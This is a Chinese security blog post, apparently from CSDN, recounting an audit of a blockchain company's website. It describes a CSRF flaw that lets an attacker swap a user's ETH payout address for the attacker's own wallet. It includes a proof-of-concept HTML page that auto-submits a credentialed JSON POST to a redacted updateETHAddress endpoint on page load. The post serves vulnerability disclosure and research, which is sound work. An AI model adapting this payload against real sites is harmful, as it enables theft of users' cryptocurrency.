某区块链官网存在的CSRF漏洞

最新推荐文章于 2025-07-16 14:16:21 发布

天弓（tg）

最新推荐文章于 2025-07-16 14:16:21 发布

阅读量1.7w

点赞数

CC 4.0 BY-SA版权

分类专栏：安全研究

本文链接：https://blog.youkuaiyun.com/softgmx/article/details/81354710

安全研究专栏收录该内容

7 篇文章

订阅专栏

本文分享了一次为一家区块链公司进行安全审计的经历，发现并验证了一个跨站请求伪造(CSRF)漏洞，该漏洞允许攻击者篡改用户的打币地址。通过发布POC代码，展示了如何利用这一漏洞，并提供了深入研究的基础。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

前面帮某区块链公司的官网（市值top100）做安全审计，存在很多问题，其中包括了一个价值的跨站请求伪造CSRF漏洞,可以把打币地址篡改为黑客的钱包地址，从技术来说，有一个比较有价值的点，该网站用ajax提交数据，是application/json格式，很多WEB安全工具都没扫出来（编码格式不对导致错误返回被漏报了），自己写了一个POC完美验证这个问题。下面把POC代码发出来，方面大家研究

<!DOCTYPE html>
<html>
<head>
<script src="jquery.js"></script>
<script>
var submit = function(){
jQuery.ajax({

type: "post",
url: 'https://xxxxxxxxx/*******/updateETHAddress',
async: false,

xhrFields: {
withCredentials: true
},

crossDomain: true,
data: JSON.stringify({
ethWalletAddress: "bPNin7*****************567Jn******",
}),
contentType: "application/json",
dataType: "json",
})
window.location.href='https://xxxxxxxx/index.html';
};
</script>
</head>
<body onload="submit()">

</body>
</html>